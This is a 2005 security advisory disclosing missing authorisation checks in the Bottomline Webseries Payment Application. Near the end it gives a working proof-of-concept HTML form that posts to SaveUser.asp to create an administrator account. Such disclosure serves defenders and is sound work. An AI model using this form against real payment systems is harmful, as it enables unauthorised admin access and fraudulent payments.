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PSA05-001.txt

PSA05-001.txt
Posted Jan 12, 2005
Authored by Paul J Docherty

Portcullis Security Advisory - Bottomline Webseries Payment Application system fails to authenticate user actions when direct URLs are accessed.

tags | advisory
SHA-256 | 5a581420b27f4f143ed0c88ebb559d474bd8494bfaaec71645fbfc7df5cea0ee

PSA05-001.txt

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Portcullis Security Advisory

Vulnerable System:

Webseries Payment Application

Vulnerability Title:

Lack of Backend Authorisation Checking

Vulnerability discovery and development:

Portcullis Security Testing Services

Affected systems:

Bottomline Webseries Payment Application

Details:

Portcullis consultants discovered that although privileged operations are
not displayed in the application menu presented to unprivileged users, these
operations may still be executed by directly accessing the appropriate
URL.

This, in effect, means that the core application is not carrying out any
form of authorisation verification and that any authenticated user,
regardless of the rights they have been assigned, can perform any action
available to any user of the system.

In its simplest form this vulnerability could be used to gather a list of
privileged users by accessing the "User Entitlements" report which details
user's security groups and administrative status. An attacker could use
this information to greatly increase their likelihood of success in gaining
unauthorised access.

Impact:

An unauthorized user could, by directly accessing the SaveUser.asp script create a new user with administrative privileges. Portcullis consultants developed
the following simple HTML page to perform this action:

Any other system operation including user approval, security group
modification and payment approval can be performed in a similar manner.

The only thing obstructing a malicious attacker from succeeding in such
attacks is that the approval system has been correctly implemented. Even by
accessing URLs directly, a user cannot approve their own changes.

Two unprivileged users, acting in collusion, have the ability to execute any
function the system is capable of performing. This includes submitting, and
approving, payments of unlimited value.

Exploit:
Portcullis consultants developed the following simple HTML page to perform this action:

<html>
<body>
<h1>Add User</h1>
<hr>
<form action="http://target/wsapp/SaveUser.asp" method="post">
Action <input name="Action" value="ADD" type="text"><br>
UserID <input type="text" name="UserID"><br>
UserName <input type="text" name="UserName"><br>
Password 1 <input type="text" name="Password1"><br>
Password 2 <input type="text" name="Password2"><br>
Email <input type="text" name="EMail"><br>
Administrator <input type="checkbox" name=Admin value=1><br>
Application User <input type="checkbox" name=AppUser value=1><br>
User Group <input type="text" name="SelUserGroup" value="111" ><br>
Security Group <input type="text" name="SecurityGroup" value="RegMgr"><br>
<input type="submit" value="submit">
</form>
</html>

Copyright:

Copyright © Portcullis Computer Security Limited 2005, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.





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